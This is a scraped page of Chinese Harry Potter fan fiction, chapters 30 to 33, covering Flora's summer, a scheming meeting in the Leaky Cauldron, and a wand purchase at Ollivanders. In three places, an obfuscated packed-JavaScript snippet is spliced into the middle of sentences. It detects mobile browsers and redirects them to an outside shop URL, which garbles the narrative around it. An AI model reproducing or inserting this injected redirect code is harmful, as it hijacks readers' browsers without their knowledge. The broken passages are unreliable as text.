她停顿了很久,芙罗拉从这沉默中抬起头,愧疚、不安,交织在金妮的脸上。她想摸摸她的脸,像往常一样笨拙地去安慰她。 “但是,你也救了我吧。不然,我已经死在密室里了。”她开口说。 “……不准说死这个字。” “那么,我们扯平了?”芙罗拉歪头问她。 “……” 金妮一语不发,突然握住了她的手。 “下次不要这么冲动了。”她组织了一下语言,说出了那句话,“只要你需要我,我就一定会在。” 芙罗拉反握住了那双手。 “……好。” 恢复了往常的样子,金妮渐渐活泼起来,又拉着芙罗拉说了她在这段时间听到的八卦,直到火车鸣笛的声音响起,这段对话才意犹未尽地停了下来。 踏出了火车,九又四分之三站台上,韦斯莱一家整整齐齐的身影就在那里,金妮扑向了家人们的怀抱。而芙罗拉,只是别过了眼,在无意之间,看到了一个穿着斗篷的身影,那身形看上去相当眼熟,很像她认识的那一个人。 但是,只在眨眼间,那斗篷失去了影子。 一朵白云遮住了半个太阳,芙罗拉侧过脸。 阳光和阴影,同时和谐地,像手握着手一样,印在她的脸上。 30. 第 30 章 汤姆正在擦拭一个仍旧散发淡淡酒味的宾治杯,他擦了许久,这期间,酒馆没有一个客人,冷清得很。上午来喝酒的人并不多,但按理说,在这样脏乱、狭小的小巷坐落的酒吧,是最受巫师欢迎的地方。 今天是难得清闲的上午。汤姆终于放下了那个酒杯,正考虑着要不要去蜘蛛巷购置些调酒的材料,这时他听到“叮”的一声,知道有客人来了,注意力便放在门口那个正摘下英式高帽,手持一柄镶嵌着绿宝石的手杖的男人身上。 男人朝他大步走来,只一眼,汤姆就能肯定:这男人不是酒吧的常客。他周身充斥着一种长在钱里才有的味道,干净的脸和打理过的着装与这混杂着流浪汉和乞丐巫师的酒吧格格不入,就像黄油啤酒和火焰威士忌的区别一样明显。 一个富家老爷,家里说不定打了一个酒窖。汤姆在心里猜测着,也许想来尝个鲜。眼看着那男人越来越近,他露出一个粗犷的笑容,他一向如此欢迎客人。 等到男人逐渐走到吧台,汤姆便立刻发现男人的手还戴着龙皮手套,嚯,他开一辈子酒吧都不一定能买到一双呢。汤姆笑得越来越真心了,露出满口黄牙,他的声音与他的长相一致,都带着些不拘一格,“要点什么,先生?” “一杯火焰威士忌。”男人说,他随意看了看吧台周边,手指着一个方向说,“烦请放在那吧。” 那是一个与众不同的位置,那位置上惯常会坐着一个连汤姆都疑心来历的男人。那男人是这的常客,万一因为位置被抢不高兴——虽然汤姆对此表示怀疑,但是,万一他下次不来了怎么办。 汤姆顿时为难起来,他搓了搓手,笑容勉强,“您看,这位先生……” “我知道。”男人漫不经心地打断他,从口袋里掏出一堆金加隆,“这些够了吧。” 汤姆这辈子没见过一单能赚这么多钱,连忙喜不自胜地说,“当然。我马上就给您端过去。请坐,您请坐。” 男人冲他点头,似乎对他的识时务很是满意。迈着慢腾腾的步伐——汤姆真是永远也学不会这种像女人一样走路的样子,他在自己“钦点”的位置上顿了顿,突然拿出一个精致的丝绸手帕在桌上抹了抹,然后,还是没坐下去,他的手指在绿宝石上点了点,眉毛小小地皱起——有钱人的臭毛病,只是坐下又不会要了他命。非要摆出那种嫌恶的表情,汤姆真想往他的帽子上啐一口。 “叮”—— 又有人来了。汤姆立刻摆出笑容,之前他的表情可不怎么好,别吓坏了客人。但他定睛一看,来者并不是酒吧的生客,而是刚刚他与刚刚的阔老爷心照不宣提起的对象——那个汤姆看不透的男人。 那男人打开门,照例看了一眼四周,就好像他的酒吧隐藏着什么致命的危险一样。扎到胳膊的袖子下面露出的肌肉结实有力,漂亮地跟古希腊雕塑家雕出来的一样。更重要的是,它们时刻绷紧着,仿佛正在惩罚自己,一刻也不准懈怠。 他显然看到了那个站在他位置旁边的男人,汤姆一时间有了慌乱的心态,但他转念一想,客人想坐哪个位置哪由得了他决定,所以他很快掩下了那点说不上道不明的感觉,冲他大声笑着说,“还是老样子,一杯火焰威士忌吗?” “我想不用了。”那阔佬不知什么时候走了过来,也许是在汤姆把所有心神放在眼前这常客身上时。 阔佬一把将手臂搭上了男人的肩,眼睛弯起来,这让他们两看上去十分亲密,“就当我请你的。我们好久没见了吧。你比我记忆里要黑了许多,当然,看上去比过去要健康了不少。” 男人一语不发,把阔佬的手臂抓了下去,脸色是一贯的阴沉。看着这一幕,汤姆都做好了为那阔佬尴尬的准备,谁知道那人根本一点心虚的样子都没有,此刻也还是笑得很开心,他把价值不菲的手套摘了下来,大拇指竖起往那个颇有争议的座位示意。 “去那谈谈?”他边说边从口袋里拿出一份报纸,那份报纸在他手里甩了甩,全貌便一丝不剩地展现出来。汤姆好奇地看了一眼,意识到那是今天的预言家日报,他早晨恰好看了个大概,但现在只记得头版头条了,大概是个罪犯逃出了阿兹卡班的事。 那罪犯也确实了不起,能逃出阿兹卡班。汤姆哆嗦了一下。 男人起初没怎么在意那份报纸,但接着,他狠皱了一下眉头,无所谓的表情渐渐严肃起来。 “这上面说的是真的?”他问,平静的语气中,汤姆竟然听出了几分痛苦,他吃惊地望着男人,他一直以为这男人什么都不在乎呢。这种印象甚至延续到了现在,汤姆一直觉得他像个阿兹卡班预备役,或者是个在逃犯,但预言家日报却没什么相关报道,他还暗自失望了一段时间。 “千真万确。”阔佬肯定的说,“现在你想跟我谈谈吗?” 报纸被男人揉了又揉,他脸上阴晴不定,也不知道脑子里在想什么。最后,他深深地点头,像是用尽了力气一样,率先朝座位走过去。那步子走得又大又快,比跑都要快。阔佬脸上是一副志在必得的表情,也不知道他到底在志在必得什么。 汤姆看着两个人一前一后地坐下,知道接下来的对话自己是听不到了,虽然可惜自己必须要错过一段有趣的八卦,但在酒吧当了这么多年老板,他早就摸透叫做“漠视”的社会规则。 叹了口气,汤姆继续拿起那个酒杯,在下一位客人到来前的闲暇时光里,继续擦拭着杯子。 布兰温,全名是布兰温·阿比盖尔的男人,饶有兴致地观察着眼前的男人——简直跟大变活人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13201288|139182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一样,他之前说的话还是委婉了些。男人眼睛里布满红血丝,下巴处堆满胡茬,浑身写满颓唐。 真稀奇。情不自禁的,布兰温在心里惊叹,按他以前的印象,这男人可是个精致的怪物。要想他摆出这幅连乞丐都不如的样子,倒真不如让他去死比较好。 “……说吧,你想谈什么?”男人说,声音也不太像布兰温记忆里那种天生贵族才有的漫不经心的调调,而是嘶哑地,仿佛几年没说过话,野人一样不自然地吐出声。 布兰温笑了。食指和中指并拢在一起,他把自己面前的火焰威士忌推到男人面前。“没事就不能来找你叙叙旧吗,加雷斯?” 随着他的话语落下,威士忌势不可挡地腾起火焰,加雷斯沉默着,这阵火焰只是刚开始来势汹汹,马上就像融化的冰棒一样蜷缩成一团,最后凝成蓝色的火焰,印在加雷斯看不出情绪的眼底。 “还是说,你更喜欢我这样称呼你呢。”布兰温温和地拖长语调,“——学长?” “没必要对我假惺惺的,我了解你,布兰温。”加雷斯拿起那杯火焰威士忌,一饮而尽,“特地告诉我小天狼星越狱的消息,你以为我会相信你有好心这种东西?难道是这几年你站得太高了,所以把我也看蠢了——” 他冷冷地说,“谈谈你的条件。” “以前你有这么不耐烦吗?”布兰温笑眯眯地说,“好吧,那还是长话短说好了。” 他清了清嗓,惯常喜欢以此作为开场白,“我知道你跟福吉现在还保持着一定的关系,而且关系不错。你知道,现在魔法部正在追查一些在法律上来说不太规范的物品——” “黑魔法物品。”加雷斯纠正他的话。 布兰温完美的微笑停滞了有一会,“我只是不喜欢说得那么直白,”他无奈地说,“没错,是黑魔法物品。但是,每个历史悠久的家族都有那么一两件。你知道,我最近正在争取魔法部议员的位置,道坎斯一直在珠宝竞争上比不过我,所以是狠了心要在政治上超过我。偏偏他还深受福吉的信赖。” 他苦恼地按住额头,“你说,我本来竞争力就不如他,要是在魔法部严查的这个关头上被查出了些什么——” 他做了个“你知道结果”的表情。 加雷斯的手指不紧不慢地敲打着桌檐,“你想让我帮你跟福吉说话?”他问,语气很肯定。 “你也知道福吉很好说话嘛。”布兰温说。“是有这个意思在。” “那么,我帮你的好处是什么?”加雷斯换了个更舒适的坐姿,说。 布兰温露出了牙齿,在他做出这样的表情时,就代表他觉得自己离胜利不远了。 “我最近淘到了一个好东西,不知道你有没有兴趣呢?”布兰温说。 31. 第 31 章 「亲爱的芙罗拉, 「亲爱的芙罗拉, 埃及不怎么好玩,这里太热了,又太晒了。我不得不承认住在这里的麻瓜是一群伟大的人——他们竟然能不靠魔法就与太阳住在一起一辈子。这么看来,我爸爸对麻瓜的喜欢确实是有些道理,虽然我以前还对此不屑一顾。 没几个人能受的了这种天气,这让我们家每个人都不怎么有精神,甚至连斑斑——我们家那只老鼠,都热得呕吐起来。爸爸说它是水土不服,我看它就是热得受不了。不过风景还是很不错的,埃及人的金字塔非常壮观。尼罗河倒是不向童话书里描述得那么美好,它就是一条普通的河,还有人在里面洗澡。呃,总之,如果天气能稍微凉爽些,这趟旅途本来能更好受一点。但是它要每天都这么热,我是不想再去第二次了。 你怎么样?不会又去霍普旧宅看了一遍那里存着的所有书吧。这也太可怕了,总会让我莫名羞愧起来。请来信告诉我你没有这样做。 热得快没精力给你写信的 金妮」 金妮的坏预感成了真,芙罗拉放下信,信旁就有一本厚厚的《莫西魔咒解读》,此时已经被翻开了一半。 暑假有将近两个月呢,芙罗拉把视线放在书上,翻了一页,心说,她实在想不出来什么消遣活动。思来想去,霍普旧宅倒真是个合适的好去处。 说是旧宅,用古堡来形容或许更妥帖些。霍普旧宅位于埃尔兰大森林边缘,周围野草丛生,被蛀虫啃得奇形怪状的低矮树木像守卫一样分布在古堡旁,随处可见的荆棘和沼泽给这座城堡增添了更多的恐怖色彩。在夜晚遥遥望去,看起来简直像是噩梦里才会出现的场景。 乌鸦在窗外边嘶哑了几声,从清晨开始就不消停。猫头鹰罗宾抓在木棍上歪头直盯着她,一副好奇她在做什么的样子。 芙罗拉在找一种更为简便的传送咒,一年级金妮那件事后让她实实在在意识到自己的弱小。但年龄造成的魔力量差距又摆在那里,如果以后再碰见难以战胜的敌人,硬碰硬是行不通的,必须寻找更多能帮助逃跑的咒语。 “统统传送”固然不错,但画一个魔法阵耗费的时间未免太长了些;“移形换影”自然好,但一是霍格沃滋有反移形换影咒,二是学会移形换影的时间成本并不是很划算。 并且传送咒还是…… ——“嘎”! 芙罗拉刚要翻到下一页的手指一顿,乌鸦凄厉的叫声提醒了她一件事:在这张书桌上已经坐了多久呢?五个小时?好像不止。从乌鸦还没啼叫时,书就已经被人翻开了。 嗯。在心中下定了决心,芙罗拉对自己说,稍微出去活动一下身体吧。 至于回信的时候就这么回:我到了霍普旧宅,并没有看完全部的书,不如说还有好大半剩余。请不要担心。 听起来是个好主意,就这么办。芙罗拉起身,把书放回了原位,在房间像个帝王一样巡视了一圈,调整了一下墨水瓶的位置。 她觉得一切都是她心中完美的样子后,才款款出了门。 “今天是个阴天啊。”打开门的瞬间,风吹过树叶的“簌簌”声自然而然的传到耳朵里,芙罗拉抬头望了一眼天空,那是与她的眼睛十分相称的颜色。 说不定能碰见好事……没有丝毫阻滞的想法就这么冒了出来。比起每天勤勤恳恳地挂在天上、被所有人看见,太阳会更喜欢被云遮住的自己吗? 不管太阳是怎么想的,芙罗拉还是更喜欢看不见的太阳。 稍微走远一些,芙罗拉举起了魔杖——并不是她自己的,她的魔杖被里德尔踩断了——是她从宅子里某个犄角旮旯里翻出来的——据说是某位德高望重的霍普收藏的魔杖,里面蕴含着非比寻常的魔力。 是骗人的。要芙罗拉说,这根魔杖用得一点也不顺手,而不顺手的工具就是白送她也不想要。 今天就去奥利凡德魔杖店顺便买一根魔杖吧。芙罗拉举起魔杖,耐心地等了两分钟,一辆足足有三层的紫色巴士就以麻瓜难以想象的速度跨越了重重障碍,极度精准地刹车到了她面前。一颗被剥去皮肉的骷髅人头在巴士镜前摇摇晃晃,嘴里大嚷着:“安全!安全!” 门“刷”地一下被打开,售票员站在车门口,一只手还握着巴士扶手,邀请的动作不怎么正经。 “骑士巴士为你服务,十一个银西可,小姐。” 芙罗拉给了他一个金加隆,语气冷淡地没要找钱。那售票员顿时露出满口黄牙。 “——去哪?” “破釜酒吧。” “好嘞!下一站,破釜酒吧!” 他慷慨激昂地说,下一秒车门夹紧,还没等芙罗拉坐稳,那巴士就以要搞死几条人命的架势往前猛冲,芙罗拉被这猝不及防的“袭击”搞得前俯后仰,感觉自己都要得脑震荡了。列车员手握着的铃铛也响个不停,不断发出“叮叮叮”的惨叫。 她还是第一次乘坐如此野蛮的交通工具,此时不习惯地干呕了几声,往常她都是用飞路网传送到韦斯莱家,没受过胃里翻江倒海的折磨。 骑士巴士的速度真不是逊的,被它甩在身后的残影使这一切像是一场穿越时空的旅行。 “祝您旅途愉快,小姐。”列车员摘下一看就缝缝补补了好几遍的帽子,指间发黄,还泛着点黑。 比芙罗拉预想得快了许多,还没等她习惯这非人的速度,她就已经到达了目的地。破釜酒吧不远处就是奥利凡德魔杖店,芙罗拉往前走了一步,破釜酒吧的门这时发出了重重的响声。芙罗拉就往旁边看了一眼—— “哈利·波特?”她惊讶地说。 “芙罗拉?”波特同样惊讶地看着她。 惊讶的对视过后,找不到话题的波特嗫嚅了几声,实在是没话找话了,便对芙罗拉指了指破斧酒吧里头。 “进去坐坐?” 不知为何就跟他一起进了破釜酒吧,上学期最后得知是他击败了那个汤姆·里德尔,芙罗拉对他的心情很复杂。她眼前的波特坐立难安,双手都不知道放在哪里,他穿着一身麻瓜的衣服,看起来还有些年头。 破釜酒吧一如既往,是醉鬼和流浪汉的天堂。这时波特开了口,一股浓浓的疲倦感扑面而来:“好久不见,自从上次医务室醒来见了你一面,就没什么机会能见到你。罗恩很感谢你能及时去救金妮,赫敏也是。” 他问,“我没想到会在这里见到你,离开学也没几天了,是来这里买什么东西吗?” 芙罗拉不置可否地“嗯”了一声,回答道,“魔杖被人弄坏了,打算去买一根。” 这一问一答结束后,气氛像水被施了冰冻咒一样结冰。 “……话说,”觑了一眼救世主糟糕的脸色,芙罗拉话锋一转,“破釜酒吧的火焰威士忌是一绝,但是黄油啤酒的味道也还算不错。你有尝过吗?” “黄油啤酒……?”波特疑惑地摇头,“没有——诶?” 芙罗拉侧过身,冲老板招手,等老板注意到她时,做出二的手势。老板立刻会意地笑了。 “两杯黄油啤酒!”她提高了声音说,转过头,波特目瞪口呆地看她。 “你、你很熟悉这里吗?”他结结巴巴地问。 “也没有。”芙罗拉说,“我爸爸是这的常客,有时还会在这租一年半载的房间。实在闲得没事的时候,我会来这看看他。” 波特看起来更震惊了,他环顾四周,低声说,“那你爸爸现在——在这里吗?” “这重要吗?”芙罗拉不理解地看着波特,但还是认真回答了他,“喏,那边那个。” 她指了指旁边不远的地方,波特看了过去,一个身型佝偻有如弯钩,看不清脸的男人睡死在桌上,手边还有倒下的酒杯,酒杯里面还有晶莹的液体在滴落。 波特大吃一惊,“那是你爸爸?” 芙罗拉点头,回答他:“血缘上确实有这层关系。” 黄油啤酒此时被老板端上了桌。芙罗拉毫不客气地端起离她更近的一杯,小啜了一口。 波特不动如山,看他这样子,芙罗拉说,“不用管他,我们的关系也并不是很亲密,就连称呼也是,本来是想更冷淡地称他为‘父亲’,但是跟金妮呆久了,就也跟她一起叫‘爸爸’了……与其在乎一个陌生人,不如尝尝这里的黄油啤酒。黄油啤酒的甜味一向能使人心情愉悦。别客气,就当我请你的。” “你请我?”波特翻了翻口袋,掏出了几块银西可,他不好意思地摸着鼻子说,“我有钱的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13201289|139182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但是都存在古灵阁里了,这两杯多少钱?我请你吧。” 芙罗拉凝视了他一会,波特被盯得尴尬,脸开始泛起红晕,就在他忍不住要想开口说些什么的时候,芙罗拉冷不丁地说。 “你觉得我很穷吗?” 波特闭上了嘴,不说话。 “果然是罗恩跟你说了些什么。你对我莫名其妙友好的态度也是。”芙罗拉叹了口气,“可能他说的绝大多数关于我的事情都是对的,但不包括这点。他一直对霍普家族的金钱实力有些误解。” “哦。”波特讷讷地应道,顺着她的话问,“那是多少钱?” “嘛,大概是勉强能买下霍格沃滋的程度。”芙罗拉说,丝毫不觉得自己说出了什么惊世骇俗的话。 波特的眼神都感觉死了。芙罗拉在他怀疑人生的表情下善意地补了一句,“当然是开玩笑。霍格沃滋可是公立学校,想买也买不到的。” “哈哈,是吗。”波特捧读,在芙罗拉的坚持下,还是拿起了那杯黄油啤酒,喝了一口,然后喝了一大口。 波特的眼神发出重生后的光亮,芙罗拉露出一个小小的笑容,“不错吧。” 波特点点头,没几下就喝完了一杯。他扶了扶歪掉的眼镜,眼睛不自然地看着芙罗拉,但浑身上下都轻松下来,已经不见前几分钟的局促。 “罗恩和赫敏都提了一些关于你的事,你的家庭之类的。我不知道说这个会不会让你不高兴,”他小心地观察着芙罗拉的表情,芙罗拉的脸跟海平面上的冰山一样,他看不出来下面的东西,继续说,“但你的经历让我想到了我现在的寄宿家庭。对不起,之前那种刻意的态度对你肯定让你不习惯吧。我看得出来你不习惯,我们两见面也总是很尴尬。” 他又道了一次歉,“我是想跟你成为朋友的。但我好像没有类似的经验,我的意思是,这种主动交友的经验。我肯定搞砸了,对不起。” 他道歉的态度很是郑重,语气忐忑,不安的脸上混杂着一些期待,总之是一张很难让人拒绝的脸。 芙罗拉没答应,但也没拒绝。她的手指自动在酒杯上敲打着,仍然是平淡的语气,“所以,你现在的寄宿家庭,对你不是很好?” 哈利怎么也没想到芙罗拉就得出了这么个结论,完全偏离了他话语中的重点。一时间左右为难,半晌憋出个语气词,模糊地说,“也许吧。” “我实在想不出你来破釜酒吧的原因。”芙罗拉说,“这里可不是未成年巫师会喜欢的地方,你甚至连黄油啤酒都是第一次听说,连喝一口都要犹豫半天。明显不是来这买醉的。但看你对这里挺熟悉的样子,至少待了有几天。再想到破釜酒吧有提供住所的服务,我想我的猜测很合理,你难道被你的寄宿家庭赶出来了吗?” 芙罗拉虽说自己是猜测,但语气笃定。哈利张口结舌,有心想反驳她几句,但事实胜于雄辩,他某种意义上又确实是被“赶出来”了。 无奈,波特摸着后脑勺,诚实地说,“其实,我应该算是离家出走。” 他解释了一番自己现在不得不住在破釜酒吧的原因,还着重提到了一个叫小天狼星·布莱克的男人 波特有气无力地说,乱糟糟的头发同样有气无力,“人们每天都在讨论他,预言家日报被贴得到处都是。我这几天没怎么睡好,老是想到他。” 哈利应景地打了个哈欠,“他们都说——小天狼星越狱,是为了杀死我。” 芙罗拉停止了敲打的动作,她眯起眼,“破釜酒吧总是很吵,睡得着才奇怪。” 她沉默了一下,接着说,“我听说过这个人,小天狼星·布莱克。布莱克家族最后的继承人,似乎还被家族树除名过。唔,倒是与霍普家族没什么交集。” “布莱克家族……”哈利说:“家族树……你们巫师世界的关系真复杂。” “没办法,从一开始就是这样的传统。”霍普看了看时间,“你看起来好多了,时间也不早了。我先告辞了。” “你是去买魔杖吗?”哈利还记得她此行的目的,“我陪你一起吧。” 芙罗拉闻言犹豫了一下,最后到底还是没忍心拒绝他。 “好吧……”她不太习惯地说,“哈利。” 32. 第 32 章 奥利凡德魔杖店。 一声巨响后,老奥利凡德摇了摇头。 “这根也还是不行吗……”老奥利凡德沉吟了一会,背过身去又开始在那一堆散发着木头味的抽屉里翻找起来,店里东西又多又杂乱,被刚刚这位客人用梨木和雷鸟尾羽制成的魔杖轻轻一甩,就从一个地方冲到了另一个地方。 客人一共有三位,一大两小。其中一位小的,他去年见过,是阿比盖尔家的少爷——戴蒙德·阿比盖尔。他站在一旁,双手环胸,臭着脸不知道在想什么。那位成年人则是拿着手杖,带着得体的笑容,老奥利凡德也认识这张脸,是最近风头正盛的布兰温·阿比盖尔。 但他们都不是老奥利凡德真正要服务的对象。 “啊,没错,这根肯定不会再出错了!”他从一个被灰尘铺满的角落抽出一根魔杖,递给这三人中个子最小的那位。他是老奥利凡德唯一连名字都不知道的人,但老奥利凡德却隐隐觉得他的面容有些熟悉,似乎在许多年前见过他一面似的。 这肯定是错觉。老奥利凡德心想,他看起来就是霍格沃兹刚上一年级的学生。 那孩子接过魔杖,只听见布兰温说,“再试试看,菲克。” 现在老奥利凡德知道这孩子的名字了,但他还是对这孩子的来历一无所知。菲克面无表情,左眼下的泪痣一动不动,他又甩了一下,直接说,“不太顺手。” 老奥利凡德□□脸来,他觉得不应该呀,都已经试了有十几根魔杖了,尽管他已经到了一定年龄,仍觉得自己还不至于连这点眼力都没有。但他也知道魔杖对巫师的重要性,因此他只是在心中微微反省了一番,继续任劳任怨地替这位菲克小先生找起魔杖来。 他还在思索这位菲克到底会和哪种组合的魔杖匹配,就被外头一阵说话声打断了。 “我的魔杖是由冬青木和凤凰尾羽制成的。”哈利推开门,对似乎正在忙碌的老奥利凡德说,“您好,奥利凡德先生。” 老奥利凡德直起腰,声音不自觉亲切起来,“哦,是哈利·波特先生。”他的视线往哈利旁边移了一点,“还有芙罗拉·霍普小姐。” 这时那位年幼的阿比盖尔先生冷哼了一声。霍普小姐冲他打了个招呼,阿比盖尔先生似乎更生气了。 “冬青木和凤凰尾羽,没错,您记得可真清楚。”老奥利凡德把记忆的那本书翻到有哈利·波特的一面,怀念和自豪一齐涌了上来,“那是我亲手制作的魔杖,还是十一寸的呢。” 芙罗拉站在哈利前面,表情跟那位菲克先生如出一辙,“您好,奥利凡德先生。我的魔杖坏了,我想来换一根。” 魔杖坏了?这可不是小事。老奥利凡德严肃下来,但一瞥到旁边站着的菲克先生,他秉持着先来后到的道理,说,“我明白,小姐。等我先给这位先生找到适合他的魔杖先。那边有椅子,可以去那稍作休息。” “金合欢和凤凰羽毛的搭配呢?”菲克突然出声,似乎是对这场面感到厌倦一样。 老奥利凡德听到这个搭配,若有所思,他深深地看了菲克一眼,一语不发地在柜子里翻找着东西。他这里翻翻,那里找找,最后突然绕到柜子后面去,再回来时,带着一根至少有十三英寸的魔杖。 “试试这个,孩子。”他和蔼地说。 菲克一把接过,这次他直接甩都不甩,魔杖握到手掌的一瞬间他就对布兰温说,“就是这根了。” 布兰温用一种高深莫测的眼神俯视他,活像是他抓到了什么重要的把柄。他轻笑出声,风度翩翩地问老奥利凡德:“这根魔杖多少钱?” “十三点五英寸的魔杖,我想想,大概是要——”老奥利凡德话还没说完,菲克就不耐烦地甩了十多个金加隆。 “这些够吗?”菲克问。 老奥利凡德低头数了数,嘿,比魔杖原本的价格还要多出七、八个金加隆。他一抬头,刚想把多余的金币还给菲克,人已经不见踪影。 “幻影移行。”这过程交易太快,还没能成功坐到椅子上的芙罗拉默默地说。哈利惊讶地看着这一切。 好吧。老奥利凡德计划着要是未来还能碰见那位先生,就把这钱还给他。金合欢和凤凰羽毛搭配的魔杖可是相当倨傲的,他们不会承认不如自己的主人。而上一个这种材料搭配的魔杖主人,老奥利凡德仔细想想,竟然发现这两位长相还有一些共同之处,至少左眼下都有一颗泪痣。 “好吧,既然那位先生已经得到了他适合的魔杖。”老奥利凡德问芙罗拉,“你说你的魔杖坏了,那有把那根坏掉的魔杖带来吗?” 芙罗拉摇头,见此,老奥利凡德遗憾地皱眉。 “好吧。”他沉吟一声,“我想我知道你适合什么魔杖了。” 他花了几分钟去寻找他口中的魔杖,然后递给芙罗拉,“试试看。” 芙罗拉一拿到魔杖,一种平静安详的感觉迅速席卷了全身,她用了个悬浮咒,把魔杖店里一个破旧的花瓶浮在空中。 “不错的咒语。”老奥利凡德笑起来。哈利好奇地问,“这是什么材料,先生?” “俄耳枥木、龙心弦。”老奥利凡德看起来陷入了回忆,“俄耳枥木这种木材通常选择有才华的巫师,他们有着专一且纯粹的激情,有人形容这种行为是‘痴迷’。同时,俄耳枥木魔杖适应它们主人的魔法比任何魔杖都要快,可以迅速地个性化,速度快到其他人使用它的话哪怕是最简单的魔咒都施展不了。而以龙心弦作为杖芯更容易做出强大的魔杖。” “我一直认为是魔杖选择主人。魔杖是什么样,他们的主人就是什么样。”老奥利凡德说,“看来你也很满意这根魔杖,它会在你手中发扬光大的,霍普小姐。” 芙罗拉扬起眉,“谢谢你,奥利凡德先生。” 结完帐后,芙罗拉一出店门,看着天色逐渐变暗,便跟哈利辞别。哈利的神情还有些恍惚,可能还在想关于布莱克的事。芙罗拉走到破釜酒吧的时候,透过窗户往里看了一眼。她血缘上的爸爸还在酒精作用下昏睡着。 她驻足看了好一会,然后举起魔杖,呼唤骑士巴士。 ——那瓶平斯夫人给的无梦酣睡剂,之后碰到哈利的时候就送给他吧。 芙罗拉回到霍普旧宅时,想到那瓶仍然保存完好的药剂,默默在心里做好决定。 她继续回到书桌上,新魔杖给了她一点启发,或许她可以稍微改造一下“统统传送”这个咒语,让它发动的条件更简单些。毕竟还要在两个地方同时画一个魔法阵对逃命来说实在是有些太苛刻了。如果能不画阵,只是画个符号或者撒点东西就能完成咒语的话,方便程度就会大大提高。 但连那个人都没能做到的事,她有可能做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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到了车厢里,金妮才终于放下心,本想发火质问芙罗拉昨晚是不是又熬夜了,一看她睡眼惺忪的可怜样,恼火便全都被哗啦泼下来的水浇了个干净。她撇起嘴,也只能借此责骂自己不争气,底线一跟芙罗拉在一起就自动倒退了十米开外。 “我说你,”脑中的诘问在口头上变成了一种无奈,金妮说,“可别等你成为治疗师前就猝死了啊。本来也没必要这么累的,上次那件事也只是个巧合,你没必要责怪自己。” 金妮叹息着说,“开学后我会在寝室盯着你睡觉的。” 芙罗拉的头一下一下地俯仰,像敲木鱼一样规律。 “……”金妮手臂支起脑袋,眯起眼,“总之,我说到做到。你不回答就是默认了哦。” 芙罗拉用平稳的呼吸声回答了她。金妮的眼睛亮起来,索性也不坐了,她犹豫了几秒,凑近了芙罗拉姣好的脸,盯了几秒后,她发现芙罗拉的长相其实相当可爱,单说外貌很是亲和,但总是被她的气势和眼神压着,所以反倒显得她与人的距离感强。 她喉咙抖了一下,突然受惊一样跳起来,捂住脸,又隔开了两人之间的距离。不一会,罩在眼睛上的手指被她掰开了些,她呼出一口白气,耳朵仔细看还有点发红,一边左顾右盼,一边在车厢的隔间里激动地走来走去,单看表情还有些意犹未尽。之后她干脆趴在窗户上,呆看着外面的风景,似乎这样就让她冷静下来一样。 然后,她真的冷静了下来,在感觉到一阵刺骨的寒意后。 33. 第 33 章 芙罗拉不怎么做梦,但一但做梦,就是噩梦连连。 开始很冷,像是置身于冰块内部,这块冰块正被人握在手指间,随着“噗通”一声,坠入了刚煮好的黑咖啡,溅起微小的水花,泡沫一样出现又消失。 眼睛看不见周围,滚烫的沸水将冰块融化,重重啃咬在皮肤上,一时间芙罗拉只感觉冷热交加,自己似乎已经走到了生与死的交界处。 好冷…… 芙罗拉睁开眼的时候,后背已经全湿透了。她顾不上这点,因为她醒来的时候什么也看不见,只感觉自己正站在黑暗中摸索。 “芙罗拉?你醒了?刚才怎么都叫不醒你。”听声音应该是金妮,芙罗拉眼睛恍惚了好一会才看清她的脸,金妮在啃着一大块巧克力,脸上看着有点白,她看芙罗拉醒过来,忙递了一块同样的巧克力过来,“刚才你睡得特别沉,早跟你说不要熬夜了。不……也可能有摄魂怪的原因。” 芙罗拉反应了好一会才意识到金妮说什么。 “……摄魂怪?阿兹卡班的狱卒?”她撑起手臂勉强直起身,“为什么摄魂怪会在这?” 金妮眼睛转到芙罗拉脸上,“我也不太清楚。但我猜是跟那个从阿兹卡班逃出来的逃犯有关。我爸爸最近在家里总是愁眉苦脸的样子,还特地找哈利去说了一段悄悄话。” 芙罗拉味同嚼蜡地咬住金妮递过来的巧克力,冷硬的黑块在口腔里逐渐融化成黏腻的软泥滑在舌头里,最后一点一点顺着喉管流向胃。冰冷的胃袋被这种甜蜜缓慢填充着。芙罗拉的脸色好转起来,她问,“小天狼星·布莱克?魔法部抓他这么费劲,连摄魂怪都放出来了?” “我觉得是这样。直面摄魂怪的感觉真够难受的。”金妮说,“简直一辈子都不想看见了。” “直面摄魂怪?”芙罗拉吊起眼,“你没受伤吧?!” “没。”金妮摇头回答,“当时情况很复杂。” 她开始讲故事一样说起了芙罗拉错过的事情。 